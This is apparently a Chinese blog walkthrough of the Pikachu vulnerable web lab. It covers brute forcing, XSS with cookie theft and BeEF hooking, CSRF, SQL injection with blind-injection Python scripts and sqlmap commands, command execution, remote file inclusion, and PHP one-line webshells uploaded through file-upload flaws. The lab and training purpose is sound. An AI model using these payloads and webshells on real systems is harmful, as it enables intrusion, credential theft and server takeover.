pikachu靶场
Charmersix

靶场安装

我这里直接本地PHP_study安装了

image-20221106013553118

这里没什么好说的,第一步就是去配置文件里改一下数据库相关配置image-20221106013736326

然后点击安装/初始化

暴力破解

Burte Force(暴力破解)概述

“暴力破解”是一攻击具手段,在web攻击中,一般会使用这种手段对应用系统的认证信息进行获取。 其过程就是使用大量的认证信息在认证接口进行尝试登录,直到得到正确的结果。 为了提高效率,暴力破解一般会使用带有字典的工具来进行自动化操作。

理论上来说,大多数系统都是可以被暴力破解的,只要攻击者有足够强大的计算能力和时间,所以断定一个系统是否存在暴力破解漏洞,其条件也不是绝对的。 我们说一个web应用系统存在暴力破解漏洞,一般是指该web应用系统没有采用或者采用了比较弱的认证安全策略,导致其被暴力破解的“可能性”变的比较高。 这里的认证安全策略, 包括:

1.是否要求用户设置复杂的密码;
2.是否每次认证都使用安全的验证码(想想你买火车票时输的验证码~)或者手机otp;
3.是否对尝试登录的行为进行判断和限制(如:连续5次错误登录,进行账号锁定或IP地址锁定等);
4.是否采用了双因素认证;
…等等。
千万不要小看暴力破解漏洞,往往这种简单粗暴的攻击方式带来的效果是超出预期的!

你可以通过“BurteForce”对应的测试栏目,来进一步的了解该漏洞。

从来没有哪个时代的黑客像今天一样热衷于猜解密码 —奥斯特洛夫斯基

基于表单的暴力破解

我们抓包,发到intruder,这里我们选择集束炸弹,加进去俩字典,筛选一下长度,然后就发现登陆成功image-20221106014949882

验证码绕过(on server)

这里我们抓包会发现,验证码是cookie验证,也就是说可以伪造,甚至是同一个验证码可以一直使用,我们就从一个验证码入手爆破image-20221106020526981

验证码绕过(on client)

先随便填一下看看,发现是js弹窗阻止了你前进的脚步,怎么办呢?

浏览器有js,bp可没有啊,直接爆破image-20221107205605619

token防爆破?

经过不断的重发后我们会发现这个token是每请求一次就会随之改变,那么有没有方式捕获到呢

这个题我们要灵活使用bp进行爆破

我们发到intruder之后,攻击方式选择pitchfork,然后要进入到选项里

image-20221107230708710

grep - extract 勾选,always勾选image-20221107230906757

然后添加,这里我比较喜欢用正则,因为只要选中就会自动生成

image-20221107230823421

资源池里一定要有一个单线程的image-20221107230947585

给密码payload选好字典后,将token的payload改为递归,并且手动输入刚才请求到的第一个token

image-20221107230425825

XSS

XSS(跨站脚本)概述

Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写”CSS”冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;

XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;

你可以通过“Cross-Site Scripting”对应的测试栏目,来进一步的了解该漏洞。

反射型xss(get)

image-20221109192831155

长度被限制了,看一下源码image-20221109192945295

原来20,直接加个0,似乎是没有任何过滤,直接弹就行.

image-20221113152746088

反射型xss(post)

这题给了我们一个登录账号密码admin\123456,登录进去以后是一个框,这里好像还是没有任何过滤,但是我们用admin账号登陆了,就可以尝试一下xss拿admin的cookie,这里介绍除了官方平台给的另外两种方法,第一种很简单,用一下多彩互联网上的xss平台,不用自己搭建甚至是不用自己写一些js语句,就会自动钓信息 http://xsscom.com/ 这个平平台很简单,xss语句都给你写好了image-20221113155446190

另一种就是在自己的云服务器上写一些php代码就可以详情可以参考这篇https://charmersix.icu/2022/05/14/ctfshow_xss_wp/

存储型xss

存储型和反射型的区别这里不再赘述,但是payload还是一样的

DOM型xss

打一下我们的经典payload测试一看,过滤写到前端了,太好了,将注释闭合一下就可以了.image-20221113215810583

经测试’可以打断我们””的闭合,所以payload'1"><img src="x" onerror="alert(1)">

DOM型xss-x

image-20221113223349495

上一题的payload还是可以用的,只是我们要再点一下就让往事都随风,都随风吧

xss之盲打

没有任何回显,源码里也看不见任何东西,我们dirsearch扫一下看看image-20221113233631433

拿到一个目录,众所周知pikachu的账号密码是admin/123456当然你也可以装作不知道,再去爆破一下登录后台

一登录后台我们就可以看到自己在留言板打的xss已经执行了,payload还是原来的经典,这时候就可以钓到admin的cookie了

xss之过滤

打上我们那串经典的payload,很明显没有执行,那就换一套连招

image-20221114211351802

<img src='x' onerror='alert(document.cookie)'>

image-20221114211602170

执行成功

xss之htmlspecialchars

人生之所有苦短,是因为你的xss学习的还不够好

这题也是点击才能弹窗的xss,onerror函数已经不能用了,这时可以用onclickimage-20221114213322996

xss之href输出

这里看了别人的payload,使用了一个JavaScript协议payload:javascript:alert(1),然后又参考了这位大佬的JavaScript协议image-20221114235724665

xss之js输出

先来经典payload看一下image-20221115000226614

看一下源码会发现输入的东西进入了<script>标签,那我们直接alert就好了,先将’闭合然后把后边的注释一下';alert(document.cookie)//image-20221115000514267

前置芝士

JavaScript协议
简介

JavaScript通信协议是一个伪协议,用于指定url为JavaScript代码

  • 语法

    1
    javascript:someScript

    someScript是一个或多个使用;分割的JavaScript语句.

  • 实例

    1
    <a href="javasript:alert(document.cookie)">JavaScript link</a>
特点
  • 返回值会替换当前文档

    对于chrome浏览器来说,如果最后一条JavaScript语句的值为字符串(使用’’,””或`括起来的值),那么该字符串会替换当前文档的内容,作为新文档显示出来

    对于Firefox浏览器来说,如果最后一条浏览器的返回值不是undefined,那么就调用该返回值的toString()方法(如果toString()方法不存在就调用valueOf()方法)得到的结果作为新文档显示出来

    返回值为undefined的几种常见写法

    1
    2
    3
    4
    5
    6
    7
    javascript:;
    javascript:undefined; //全局变量undefined的值可能被更改

    //void 将之后的内容当作表达式,然后对该表达式求值,并始终返回undefined,而不管全局变量 undefined 的值是否被改变
    // 以下写法等价
    javascript:void(0);
    javascript:void 0;
用途
  • 任何使用url的地方都可以使用该通信协议

    在保留锚元素href属性的同时防止点击锚元素页内/外跳转

    1
    2
    3
    javascript:;
    javascript:undefined;
    javascript:void(0);

    当作 bookmarklet 这里写了个小 Demo

    1
    2
    // 修改书签的 URL 为以下代码, 就可实现分屏功能
    javascript:'<html><head><title>'+document.title+'</title></head><body style="margin:0;"><iframe style="border:none;" width="50%" height="100%" src='+location.href+'></iframe><iframe style="border:none;" width="50%" height="100%" src='+location.href+'></iframe></body></html>';

    执行 JavaScript 代码 (可以执行xss)

    1
    2
    3
    4
    5
    // 更改页面背景为绿色 (推荐为锚元素绑定事件来更改页面背景)
    <a href="javascript:void(document.body.style.backgroundColor='green');">

    // 打开新页面 (注意需返回 undefined, 否则在火狐浏览器会替换文档)
    <a href="javascript:window.open('about:blank'); void(0);">
beef
安装

这里推荐一个比较好用的xss平台:beef, 这个可以搭在自己的vps上,我也是在自己服务器上起了个docker,这里简单放一下安装步骤

首先没有docker的要先安装

1
curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun

然后我们search一下

1
docker search beef

image-20221114231919013

然后我们pull这个janes的

1
docker pull docker.io/janes/beef

然后就可以run一下跑起来

1
docker run --rm -p 3000:3000 docker.io/janes/beef

image-20221114232128531

这里是没有任何回显的,但是已经跑起来了.不用怀疑,然后我们访问一下http://your_ip:3000/ui/panel登录一下,账号密码都是beef

简介

beef官方文档说了一堆p话,我是没看懂,这里抄一下这位大佬的

beef主要是往网页中插入一段名为hook.js的JavaScript脚本代码,如果浏览器访问有了hook.js(钩子)的页面,就会被hook(钩住),勾连的浏览器会执行初始代码返回一些信息,接着目标主机会每隔一段时间(默认为1s)就会向BeEF服务器发送一个请求,询问是否有新的代码需要执行

beef服务器本质上就像一个web应用,被分为前后端.前端会轮询后端是否有新的数据需要更新,同时前端也可以向后端发送指示,beef持有者可以通过浏览器来登录beef的后端,来控制前端(用户的浏览器)

beef一般和xss漏洞结合使用,使目标主机执行带有js的文件,但只能控制一个页面

使用

经典payload< script src=“http://your_ip/hook.js”>< /script >

image-20221116232957243

这里有很多比较好玩的功能可以玩一玩这里还是参考那位大佬的

模块命令的使用和模块的作用种类
Broser:主要是针对浏览器的一些信息收集或攻击,其下的子选项卡Hooked Domain主要是获取HTTP属性值,比如cookie、表单值等,还可以做写简单的浏览器操作,比如替换href值,弹出警告框,重定向浏览器等。这个选项卡下的有些模块会根据受害者的浏览器来决定是否显示。主要是浏览器通用操作和其他基本信息检测。
Chrome extensions:主要是针对谷歌浏览器扩展插件
Debug:调试功能
Exploits:漏洞利用,主要利用一些已公开的漏洞进行攻击测试
Host:针对主机,比如检测主机的浏览器、系统信息、IP地址、安装软件等等
IPEC:协议间通信。主要是用来连接、控制受害者浏览器的
Metasploit:Beef可通过配置和metasploit平台联合,一旦有受害者出现,可通过信息收集确定是否存在漏洞,进一步方便metasploit攻击测试
Misc:杂项。
Network:网络扫描
Persistence:维护受害者访问
Phonegap:手机测试
Social engineering:社会工程学攻击

其中:
绿色模块:可以执行且目标不可见
红色模块:不适合当前目标
橙色模块:可以执行但目标可见
灰色模块:未在目标浏览器上测试过

CSRF

CSRF(跨站请求伪造)概述

Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为”one click”攻击。 很多人搞不清楚CSRF的概念,甚至有时候会将其和XSS混淆,更有甚者会将其和越权问题混为一谈,这都是对原理没搞清楚导致的。
这里列举一个场景解释一下,希望能够帮助你理解。
场景需求:
小黑想要修改大白在购物网站tianxiewww.xx.com上填写的会员地址。
先看下大白是如何修改自己的密码的:
登录—修改会员信息,提交请求—修改成功。
所以小黑想要修改大白的信息,他需要拥有:1,登录权限 2,修改个人信息的请求。

但是大白又不会把自己xxx网站的账号密码告诉小黑,那小黑怎么办?
于是他自己跑到www.xx.com上注册了一个自己的账号,然后修改了一下自己的个人信息(比如:E-mail地址),他发现修改的请求是:
http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change】
于是,他实施了这样一个操作:把这个链接伪装一下,在小白登录xxx网站后,欺骗他进行点击,小白点击这个链接后,个人信息就被修改了,小黑就完成了攻击目的。

为啥小黑的操作能够实现呢。有如下几个关键点:
1.www.xxx.com这个网站在用户修改个人的信息时没有过多的校验,导致这个请求容易被伪造;
—因此,我们判断一个网站是否存在CSRF漏洞,其实就是判断其对关键信息(比如密码等敏感信息)的操作(增删改)是否容易被伪造。
2.小白点击了小黑发给的链接,并且这个时候小白刚好登录在购物网上;
—如果小白安全意识高,不点击不明链接,则攻击不会成功,又或者即使小白点击了链接,但小白此时并没有登录购物网站,也不会成功。
—因此,要成功实施一次CSRF攻击,需要“天时,地利,人和”的条件。
当然,如果小黑事先在xxx网的首页如果发现了一个XSS漏洞,则小黑可能会这样做: 欺骗小白访问埋伏了XSS脚本(盗取cookie的脚本)的页面,小白中招,小黑拿到小白的cookie,然后小黑顺利登录到小白的后台,小黑自己修改小白的相关信息。
—所以跟上面比一下,就可以看出CSRF与XSS的区别:CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏。

因此,网站如果要防止CSRF攻击,则需要对敏感信息的操作实施对应的安全措施,防止这些操作出现被伪造的情况,从而导致CSRF。比如:
–对敏感信息的操作增加安全的token;
–对敏感信息的操作增加安全的验证码;
–对敏感信息的操作实施安全的逻辑流程,比如修改密码时,需要先校验旧密码等。

如果你没有读太明白,不要犹豫,请再读一遍啦

你可以通过“Cross-site request forgery”对应的测试栏目,来进一步的了解该漏洞。

CSRF(get)

比较简单,bp能完全解决,都不用自己写poc,burpsuite直接一键生成

当然,get请求的甚至都不需要bp生成poc,直接改url即可,这里两种方法都说一下吧

首先我们来抓个包,可以发现get传修改的参数,url里就是所修改的信息,我们copy一下,把内容改成我们想要的

比方说这里我构造的是这个http://localhost/vul/csrf/csrfget/csrf_get_edit.php?sex=1&phonenum=110&add=nba+lakes&email=110%40pikachu.com&submit=submit

然后我们把这个url发给好友kobe,并欺骗他访问一下

image-20221115201812306

可以看到,他的信息就被修改了image-20221115202319851

第二种还是抓包然后通过bp生成csrf_poc

image-20221115202504097

这里呢右上角可以勾选自动提交的,就是kobe一访问就会自动提交表单修改他的信息image-20221115202629955

然后直接点浏览器测试,就会生成一个地址,这个地址就很有隐蔽性比如我这里是http://burpsuite/show/2/hd7yrgsw6qmo867vq7h667rlct97o7sh

只要kobe访问它,他就又会被攻击了image-20221115203017027

声明一下:这里是喜欢kobe才会用他的id,并不是想去攻击kobe,我想pikachu的作者应该也是喜欢kobe

CSRF(post)

这里很明显上述第一种方法是没法用的,但是第二种方法还是可以的,我们再重复一下上述操作很快就可以实现image-20221115234320367

CSRF Token

这题并没有找到利用方法,我们去翻一下它的源代码image-20221116195827914

就是说我们在访问这个页面的时候就会自动生成一个新的token,那我们看一下这个token有什么规律呢

1
2
3
4
5
6
7
8
9
//生成一个token,以当前微妙时间+一个5位的前缀
function set_token(){
if(isset($_SESSION['token'])){
unset($_SESSION['token']);
} //释放一个token并且生成一个
$_SESSION['token']=str_replace('.','',uniqid(mt_rand(10000,99999),true));
}
//uniqid生成一个唯一ID 逗号后的true是more_entropy如果设置为TRUE,uniqid() 会在返回的字符串结尾增加额外的熵(使用combined linear congruential generator)。使得唯一ID更具唯一性。
//mt_rand 随机数生成

很明显这个token生成的没有任何规律,一直都在强调一个random

这题token写的很不错,我没有找到可以利用的方法,在网上看了很多大佬的wp,大部分是解释说这个token可以防止csrf,也有大佬说是这个token可以像上边token防爆破?那题一样去爆破token,但是仔细想一下我们怎么才能提前猜到被攻击者的token,我们所进行的爆破都是攻击者主动去爆破的,我们不能让受害者去主动爆破token,但是受害者不爆破token,我们又猜不到他的token,所以只能放弃.我想唯一的方法大概就是给受害者发一个爆破token的脚本让他执行,那我们为什么不直接留后门🤣

Sql Inject(SQL注入)

在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。
一个严重的SQL注入漏洞,可能会直接导致一家公司破产!
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。

在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了”拼接”的方式,所以使用时需要慎重!

SQL注入在网络上非常热门,也有很多技术专家写过非常详细的关于SQL注入漏洞的文章,这里就不在多写了。
你可以通过“Sql Inject”对应的测试栏目,来进一步的了解该漏洞。

数字型注入

post型,抓一下包,直接开打,两个回显位

1%20union%20select%201%2C(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%3Ddatabase())%20limit%200%2C1image-20221117185821480

然后继续打1%20union%20select%201%2C(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name%3D'users')%20limit%201%2C1image-20221117190925083

现在开始查他的内容1%20union%20select%201%2C(select%20(group_concat(username%2Cpassword)))%20from%20users%20limit%201%2C1

image-20221117190846851

字符型注入

加了个单引号而已,通过#注释,继续上一题的payload这里不再浪费时间

搜索型注入

看见搜索框我们先来试一下xssimage-20221117195126764

然后就拿到了sql语句后边是%'

1
$query="select username,id,email from member where username like '%$name%'";

源码也确实如此,还是老套路继续打image-20221117201425689

xxx型注入

1
$query="select id,email from member where username=('$name')";

只是换了种闭合方式,换汤不换药

“insert/update”注入

image-20221117203610725

登陆界面是无法注入,我们注册登录一下,这里的报错注入是可以用的' or updatexml(1, concat(0x7e, database()), 0)#image-20221117211543250

详情可参考这篇,这里不再重复

“delete”注入

这里删除发现没什么用,抓包一看原来注入点在这

image-20221117212128603

拿下image-20221117212259213

http头注入

image-20221117212727228

跟上边insert注入一样,就是换了换地方payload:' or updatexml(1,concat(0x7e,(select database())),1)or'

image-20221117213413700

基于boolian的盲注

首先用kobe' and length(database())>10 #判断出数据库名的长度

经过几次尝试我们可以拿到数据库长度为7

然后我们来个py脚本注一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

url = "http://localhost/vul/sqli/sqli_blind_b.php?name="

users = "abcdefghijklmnopqrstuvwxyz"
user = ""

for i in range(8):

for u in users:
data = "kobe'%20and%20if(substr(database()%2C{}%2C1)%20%3D%20'{}'%2C1%2C(select%20table_name%20from%20information_schema.tables))%23&submit=%E6%9F%A5%E8%AF%A2".format(i,u)
# data={
# "id":"123' or substr(username,{},1)='{}' and id = 1#".format(i,u),
# }
response = requests.get(url=url+data)
if "your uid:3" in response.text:
user += u
break

print("正在盲注第{}位".format(i))


print("数据库名:"+user)

也可以用bp爆破,抓包,然后发到intruder,然后打上我们的payload,设一下这两个位置image-20221118213032092

然后两个位置分别是数字和字母

image-20221118213208134

这里的1-7就刚好是我们数据库的库名顺序

image-20221118211833411

基于时间的盲注

同bool盲注,我们先判断数据库长度kobe' and if (length(database()) > 5 ,sleep(5),null) #

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import time
import os
url = "http://localhost/vul/sqli/sqli_blind_b.php?name="

users = "abcdefghijklmnopqrstuvwxyz"
user = ""

for i in range(8):

for u in users:
prox= {
'http':'http://127.0.0.1:8080'
}
data = "kobe'%20and%20if%20(substr(database()%2C{}%2C1)%20%3D%20'{}'%2Csleep(5)%2Cnull)%23&submit=%E6%9F%A5%E8%AF%A2".format(i,u)
# data={
# "id":"123' or substr(username,{},1)='{}' and id = 1#".format(i,u),
# }
# if "your uid:3" in response.text:
# user += u
# break

start_time = time.time()
response = requests.get(url=url + data,proxies=prox)
end_time = time.time()
t = end_time - start_time
if t > 5:
user += u
break

print(data)

print("正在盲注第{}位".format(i)+format(u))
print("数据库名:"+user)

宽字节注入

宽字节注入指的是MySQL数据库在使用宽字节(GBK)编码时,会认为两个字符是一个汉字(前一个ASCII码要大于128(比如%df),才到汉字的范围),而当我们输入单引号时,MySQL会调用转义函数,将单引号变为\',其中的\的十六进制是%5c,MySQL的GBK编码,会认为%df%5c是一个宽字节,也就是从而使单引号闭合,进行注入.

宽字节注入发生的位置就是php发送请求到MySQL时字符使用character_set_client设置值进行了一次编码,然后服务器会根据character_set_connenction把请求进行转码,从character_set_client转成character_set_connection,然后更新到数据库的时候,再转化成字段所对应的编码

下述数据变化过程

1
2
3
%df%27===>(addslashes)====>%df%5c%27====>(GBK)====>運’

用户输入==>过滤函数==>代码层的$sql==>mysql处理请求==>mysql中的sql

payload:name=kobe%20%df'%20union%20select%201%2C(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%3Ddatabase())%20limit%200%2C1#&submit=%E6%9F%A5%E8%AF%A2

image-20221119215647942

SQLmap

我们再用sqlmap来一遍这个题目

数字型注入

这题是post型,我们先抓一个post的包

POST /vul/sqli/sqli_id.php HTTP/1.1
Host: localhost
Content-Length: 29
Cache-Control: max-age=0
sec-ch-ua: “Chromium”;v=”95”, “;Not A Brand”;v=”99”
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: “Windows”
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/vul/sqli/sqli_id.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=70en5hdmaav0gib3anlocf62h7
Connection: close

id=1&submit=%E6%9F%A5%E8%AF%A2

python .\sqlmap.py -r 1.txt -p id --dbs --batch

字符型注入

python .\sqlmap.py -u http://localhost/vul/sqli/sqli_str.php?name=1"&submit=查询" --dbs --batch

搜索型注入

python .\sqlmap.py -u http://localhost/vul/sqli/sqli_search.php?name=1"&submit=查询" --dbs --batch

xxx型注入

同上,仍然可以打出

python .\sqlmap.py -u http://localhost/vul/sqli/sqli_x.php?name=1"&submit=%E6%9F%A5%E8%AF%A2" --dbs --batch

“insert/update”注入

python .\sqlmap.py -r 1.txt -p add --dbs --batch

“delete”注入

继续上述payload即可

http头注入

sqlmap --level 有五个等级,默认为1,2是cookie注入,3是UA注入,4是refere注入,5是host注入,这里我们使用level3

python .\sqlmap.py -r 1.txt -p User-Agent --level 3 --batch --dbs

基于boolian的盲注

RCE

RCE(remote command/code execute)概述

RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

远程系统命令执行
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而,如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器

现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过”自动化运维平台”进行操作。 在这种平台上往往会出现远程系统命令执行的漏洞,不信的话现在就可以找你们运维部的系统测试一下,会有意想不到的”收获”-_-

远程代码执行
同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。

因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。

你可以通过“RCE”对应的测试栏目,来进一步的了解该漏洞。

exec “ping”

这里应该是后端执行了shell ping命令,所以我们可以试一下|和`&

image-20221120000257034

image-20221120000301710

都可以执行成功就直接相当于拿到了服务器shell

exec “eval”

image-20221120161324190

文件包含

File Inclusion(文件包含漏洞)概述

文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在PHP中,提供了:
include(),include_once()
require(),require_once()
这些文件包含函数,这些函数在代码设计中被经常使用到。

大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。 根据不同的配置环境,文件包含漏洞分为如下两种情况:
1.本地文件包含漏洞:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
2.远程文件包含漏洞:能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。

因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。

你可以通过“File Inclusion”对应的测试栏目,来进一步的了解该漏洞。

本地文件包含

我们在目录下新建个txt,一会通过web页面读它image-20221120162939127

然后我们直接在url里输入目录就可以image-20221120163110337

远程文件包含

这题没有把include写入源码里,需要我们在url里加上,当然也就给了我们一个远程利用的机会image-20221120164145034

我们在远程服务器写一个可以写文件的php语句,然后写上一句话木马,像这样

1
2
3
4
5
6
<?php
$myfile = fopen("1.php","w");
$txt = '<?php system($_POST[1]);?>';
fwrite($myfile,$txt);
fclose($myfile);
?>

image-20221120172546281

pikachu成功被我们上传一句话木马

image-20221120173709513

上述方法很明显是非常繁杂的,那有没有什么简单粗暴的方法呢,当然有,上边1.txt是可以执行的,那我们把1.txt直接写成一句话木马不久可以了吗

1
<?php eval($_POST[1]);?>

不安全的文件下载

不安全的文件下载概述

文件下载功能在很多web系统上都会出现,一般我们当点击下载链接,便会向后台发送一个下载请求,一般这个请求会包含一个需要下载的文件名称,后台在收到请求后 会开始执行下载代码,将该文件名对应的文件response给浏览器,从而完成下载。 如果后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话,则可能会引发不安全的文件下载漏洞。
此时如果 攻击者提交的不是一个程序预期的的文件名,而是一个精心构造的路径(比如../../../etc/passwd),则很有可能会直接将该指定的文件下载下来。 从而导致后台敏感信息(密码文件、源代码等)被下载。

所以,在设计文件下载功能时,如果下载的目标文件是由前端传进来的,则一定要对传进来的文件进行安全考虑。 切记:所有与前端交互的数据都是不安全的,不能掉以轻心!

你可以通过“Unsafe file download”对应的测试栏目,来进一步的了解该漏洞。

不安全的文件下载

这里可以类比于文件包含,我们可以下载到自己想要的任何虚拟机文件,这里我采用两种方法第一种是bp抓包改包image-20221120201053242

第二种直接F12修改一下下载路径image-20221120201134143

不安全的文件上传

不安全的文件上传漏洞概述

文件上传功能在web应用系统很常见,比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后,后台会对上传的文件进行判断 比如是否是指定的类型、后缀名、大小等等,然后将其按照设计的格式进行重命名后存储在指定的目录。 如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨,则攻击着可能会上传一些恶意的文件,比如一句话木马,从而导致后台服务器被webshell。

所以,在设计文件上传功能时,一定要对传进来的文件进行严格的安全考虑。比如:
–验证文件类型、后缀名、大小;
–验证文件的上传方式;
–对文件进行一定复杂的重命名;
–不要暴露文件上传后的路径;
–等等…

你可以通过“Unsafe file upload”对应的测试栏目,来进一步的了解该漏洞。

客户端check

这里可以简单理解成前端验证,然后JavaScript跳出来组织你上传,那我们只要把JavaScript禁用了就不会有任何东西阻止我们传马了,这里我在chrome store随便下载了一个

然后就可以传上php一句话木马

1
<?php eval($_POST['1']);?>

image-20221120211443956

蚁剑就可以连接了image-20221120211738760

服务端check

这里只是验证了Content-Type我们抓包改包就可以拿下还是利用上题的一句话木马就可以解决

1
<?php eval($_POST['1']);?>

getimagesize()

1
2
3
4
$type=array('jpg','jpeg','png');//指定类型
$mime=array('image/jpg','image/jpeg','image/png');
$save_path='uploads'.date('/Y/m/d/');//根据当天日期生成一个文件夹
$upload=upload('uploadfile','512000',$type,$mime,$save_path);//调用函数

这题会检查图片的特征,所以我们直接在一张图片里隐写一个一句话木马像这样

image-20221120232350409

我们上传这张图片,发现可以上传成功,并且图片里有一句话木马,但是我们这样读取是以图片的形式读取,我们的一句话木马是没法执行的这时候有个比较巧妙的办法就是利用前边的文件包含去读取我们现在文件上传的目录image-20221120232738284

越权

如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称之为越权操作。 越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。

一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的的地方,当用户对权限页面内的信息进行这些操作时,后台需要对 对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏洞。

因此,在在权限管理中应该遵守:
1.使用最小权限原则对用户进行赋权;
2.使用合理(严格)的权限校验规则;
3.使用后台登录态作为条件进行权限判断,别动不动就瞎用前端传进来的条件;

你可以通过“Over permission”对应的测试栏目,来进一步的了解该漏洞。

水平越权

这里我们先登录lucy的账号看一下image-20221227190200821

这里我们直接将url地址改成kobe试一下image-20221227190421428

显然, 我们成功访问到了kobe的所有信息

垂直越权

我们先登录admin看一下, 可以发现admin是可以添加用户的image-20221227191441192

那我们用pikachu用户试一下能不能添加用户呢?

创建成功!

image-20221227192907295

目录遍历

目录遍历漏洞概述

在web功能设计中,很多时候我们会要将需要访问的文件定义成变量,从而让前端的功能便的更加灵活。 当用户发起一个前端的请求时,便会将请求的这个文件的值(比如文件名称)传递到后台,后台再执行其对应的文件。 在这个过程中,如果后台没有对前端传进来的值进行严格的安全考虑,则攻击者可能会通过“../”这样的手段让后台打开或者执行一些其他的文件。 从而导致后台服务器上其他目录的文件结果被遍历出来,形成目录遍历漏洞。

看到这里,你可能会觉得目录遍历漏洞和不安全的文件下载,甚至文件包含漏洞有差不多的意思,是的,目录遍历漏洞形成的最主要的原因跟这两者一样,都是在功能设计中将要操作的文件使用变量的 方式传递给了后台,而又没有进行严格的安全考虑而造成的,只是出现的位置所展现的现象不一样,因此,这里还是单独拿出来定义一下。

需要区分一下的是,如果你通过不带参数的url(比如:http://xxxx/doc)列出了doc文件夹里面所有的文件,这种情况,我们成为敏感信息泄露。 而并不归为目录遍历漏洞。

任意文件读取,直接相对路径读到image-20221227194559038

敏感信息泄露

敏感信息泄露概述

由于后台人员的疏忽或者不当的设计,导致不应该被前端用户看到的数据被轻易的访问到。 比如:
—通过访问url下的目录,可以直接列出目录下的文件列表;
—输入错误的url参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息;
—前端的源码(html,css,js)里面包含了敏感信息,比如后台登录地址、内网接口信息、甚至账号密码等;

类似以上这些情况,我们成为敏感信息泄露。敏感信息泄露虽然一直被评为危害比较低的漏洞,但这些敏感信息往往给攻击着实施进一步的攻击提供很大的帮助,甚至“离谱”的敏感信息泄露也会直接造成严重的损失。 因此,在web应用的开发上,除了要进行安全的代码编写,也需要注意对敏感信息的合理处理。

image-20221227200726520

直接相对目录读一下

